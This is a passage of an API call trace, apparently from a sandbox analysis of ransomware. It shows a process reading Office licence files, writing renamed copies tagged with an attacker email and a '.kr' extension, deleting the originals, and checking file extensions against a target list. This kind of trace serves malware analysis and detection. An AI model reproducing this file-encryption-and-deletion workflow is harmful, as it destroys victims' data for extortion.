Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 1 [0193.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0193.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0193.652] lstrlenW (lpString=".doc") returned 4 [0193.652] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.652] lstrlenW (lpString=".docx") returned 5 [0193.652] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.652] lstrlenW (lpString=".pdf") returned 4 [0193.652] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.652] lstrlenW (lpString=".xls") returned 4 [0193.652] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.652] lstrlenW (lpString=".xlsx") returned 5 [0193.652] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.652] lstrlenW (lpString=".ppt") returned 4 [0193.652] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0193.652] lstrlenW (lpString=".zip") returned 4 [0193.652] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.652] lstrlenW (lpString=".rar") returned 4 [0193.652] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.652] lstrlenW (lpString=".bz2") returned 4 [0193.652] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.652] lstrlenW (lpString=".7z") returned 3 [0193.652] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0193.652] lstrlenW (lpString=".dbf") returned 4 [0193.652] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0193.652] lstrlenW (lpString=".1cd") returned 4 [0193.652] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0193.653] lstrlenW (lpString=".jpg") returned 4 [0193.653] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0193.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0193.653] lstrlenW (lpString=".doc") returned 4 [0193.653] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.653] lstrlenW (lpString=".docx") returned 5 [0193.653] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.653] lstrlenW (lpString=".pdf") returned 4 [0193.653] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.653] lstrlenW (lpString=".xls") returned 4 [0193.653] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.653] lstrlenW (lpString=".xlsx") returned 5 [0193.653] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.653] lstrlenW (lpString=".ppt") returned 4 [0193.653] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0193.653] lstrlenW (lpString=".zip") returned 4 [0193.653] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.653] lstrlenW (lpString=".rar") returned 4 [0193.653] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.653] lstrlenW (lpString=".bz2") returned 4 [0193.653] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.653] lstrlenW (lpString=".7z") returned 3 [0193.653] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0193.653] lstrlenW (lpString=".dbf") returned 4 [0193.653] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0193.654] lstrlenW (lpString=".1cd") returned 4 [0193.654] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0193.654] lstrlenW (lpString=".jpg") returned 4 [0193.654] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.654] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.654] lstrlenW (lpString="ExcelR_Retail-ppd.xrm-ms") returned 24 [0193.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.655] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20844) returned 1 [0193.655] CloseHandle (hObject=0x370) returned 1 [0193.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220 [0193.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.655] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.656] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0193.657] GetLastError () returned 0x0 [0193.657] ReadFile (in: hFile=0x370, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x516c, lpOverlapped=0x0) returned 1 [0193.661] WriteFile (in: hFile=0x53c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5170, lpOverlapped=0x0) returned 1 [0193.663] ReadFile (in: hFile=0x370, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.663] WriteFile (in: hFile=0x53c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x104, lpOverlapped=0x0) returned 1 [0193.663] SetEndOfFile (hFile=0x53c) returned 1 [0193.663] CloseHandle (hObject=0x53c) returned 1 [0193.663] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.663] SetEndOfFile (hFile=0x370) returned 1 [0193.667] CloseHandle (hObject=0x370) returned 1 [0193.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 1 [0193.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0193.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0193.668] lstrlenW (lpString=".doc") returned 4 [0193.668] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.668] lstrlenW (lpString=".docx") returned 5 [0193.668] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.669] lstrlenW (lpString=".pdf") returned 4 [0193.669] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.669] lstrlenW (lpString=".xls") returned 4 [0193.669] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.669] lstrlenW (lpString=".xlsx") returned 5 [0193.669] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.669] lstrlenW (lpString=".ppt") returned 4 [0193.669] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0193.669] lstrlenW (lpString=".zip") returned 4 [0193.669] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.669] lstrlenW (lpString=".rar") returned 4 [0193.669] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.669] lstrlenW (lpString=".bz2") returned 4 [0193.669] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.669] lstrlenW (lpString=".7z") returned 3 [0193.669] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0193.669] lstrlenW (lpString=".dbf") returned 4 [0193.669] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0193.669] lstrlenW (lpString=".1cd") returned 4 [0193.669] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0193.669] lstrlenW (lpString=".jpg") returned 4 [0193.669] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0193.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0193.669] lstrlenW (lpString=".doc") returned 4 [0193.670] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.670] lstrlenW (lpString=".docx") returned 5 [0193.670] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.670] lstrlenW (lpString=".pdf") returned 4 [0193.670] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.670] lstrlenW (lpString=".xls") returned 4 [0193.670] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.670] lstrlenW (lpString=".xlsx") returned 5 [0193.670] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.670] lstrlenW (lpString=".ppt") returned 4 [0193.670] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0193.670] lstrlenW (lpString=".zip") returned 4 [0193.670] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.670] lstrlenW (lpString=".rar") returned 4 [0193.670] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.670] lstrlenW (lpString=".bz2") returned 4 [0193.670] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.670] lstrlenW (lpString=".7z") returned 3 [0193.670] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0193.670] lstrlenW (lpString=".dbf") returned 4 [0193.670] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0193.670] lstrlenW (lpString=".1cd") returned 4 [0193.670] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0193.670] lstrlenW (lpString=".jpg") returned 4 [0193.671] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.671] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.671] lstrlenW (lpString="ExcelR_Retail-ul-oob.xrm-ms") returned 27 [0193.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.672] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11574) returned 1 [0193.672] CloseHandle (hObject=0x370) returned 1 [0193.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220 [0193.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.673] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.673] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0193.673] GetLastError () returned 0x0 [0193.673] ReadFile (in: hFile=0x370, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d36, lpOverlapped=0x0) returned 1 [0193.675] WriteFile (in: hFile=0x53c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d40, lpOverlapped=0x0) returned 1 [0193.676] ReadFile (in: hFile=0x370, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.676] WriteFile (in: hFile=0x53c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0193.804] SetEndOfFile (hFile=0x53c) returned 1 [0193.804] CloseHandle (hObject=0x53c) returned 1 [0193.804] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.804] SetEndOfFile (hFile=0x370) returned 1 [0193.807] CloseHandle (hObject=0x370) returned 1 [0193.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 1 [0194.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0194.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0194.115] lstrlenW (lpString=".doc") returned 4 [0194.115] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.115] lstrlenW (lpString=".docx") returned 5 [0194.115] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.115] lstrlenW (lpString=".pdf") returned 4 [0194.115] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.115] lstrlenW (lpString=".xls") returned 4 [0194.115] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.115] lstrlenW (lpString=".xlsx") returned 5 [0194.115] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.115] lstrlenW (lpString=".ppt") returned 4 [0194.115] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0194.115] lstrlenW (lpString=".zip") returned 4 [0194.115] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.115] lstrlenW (lpString=".rar") returned 4 [0194.115] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.115] lstrlenW (lpString=".bz2") returned 4 [0194.115] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.115] lstrlenW (lpString=".7z") returned 3 [0194.115] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0194.115] lstrlenW (lpString=".dbf") returned 4 [0194.115] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0194.115] lstrlenW (lpString=".1cd") returned 4 [0194.116] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0194.116] lstrlenW (lpString=".jpg") returned 4 [0194.116] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0194.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0194.116] lstrlenW (lpString=".doc") returned 4 [0194.116] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.116] lstrlenW (lpString=".docx") returned 5 [0194.116] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.116] lstrlenW (lpString=".pdf") returned 4 [0194.116] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.116] lstrlenW (lpString=".xls") returned 4 [0194.116] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.116] lstrlenW (lpString=".xlsx") returned 5 [0194.116] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.116] lstrlenW (lpString=".ppt") returned 4 [0194.116] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0194.116] lstrlenW (lpString=".zip") returned 4 [0194.116] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.116] lstrlenW (lpString=".rar") returned 4 [0194.116] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.116] lstrlenW (lpString=".bz2") returned 4 [0194.116] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.116] lstrlenW (lpString=".7z") returned 3 [0194.117] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0194.117] lstrlenW (lpString=".dbf") returned 4 [0194.117] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0194.117] lstrlenW (lpString=".1cd") returned 4 [0194.117] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0194.117] lstrlenW (lpString=".jpg") returned 4 [0194.117] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.117] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0194.117] lstrlenW (lpString="ExcelVL_KMS_Client-ul.xrm-ms") returned 28 [0194.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0194.118] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=9601) returned 1 [0194.118] CloseHandle (hObject=0x3f8) returned 1 [0194.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220 [0194.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0194.119] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.119] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0194.120] GetLastError () returned 0x0 [0194.120] ReadFile (in: hFile=0x3f8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2581, lpOverlapped=0x0) returned 1 [0194.124] WriteFile (in: hFile=0x3e4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2590, lpOverlapped=0x0) returned 1 [0194.125] ReadFile (in: hFile=0x3f8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.125] WriteFile (in: hFile=0x3e4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10c, lpOverlapped=0x0) returned 1 [0194.125] SetEndOfFile (hFile=0x3e4) returned 1 [0194.125] CloseHandle (hObject=0x3e4) returned 1 [0194.125] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.125] SetEndOfFile (hFile=0x3f8) returned 1 [0194.128] CloseHandle (hObject=0x3f8) returned 1 [0194.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 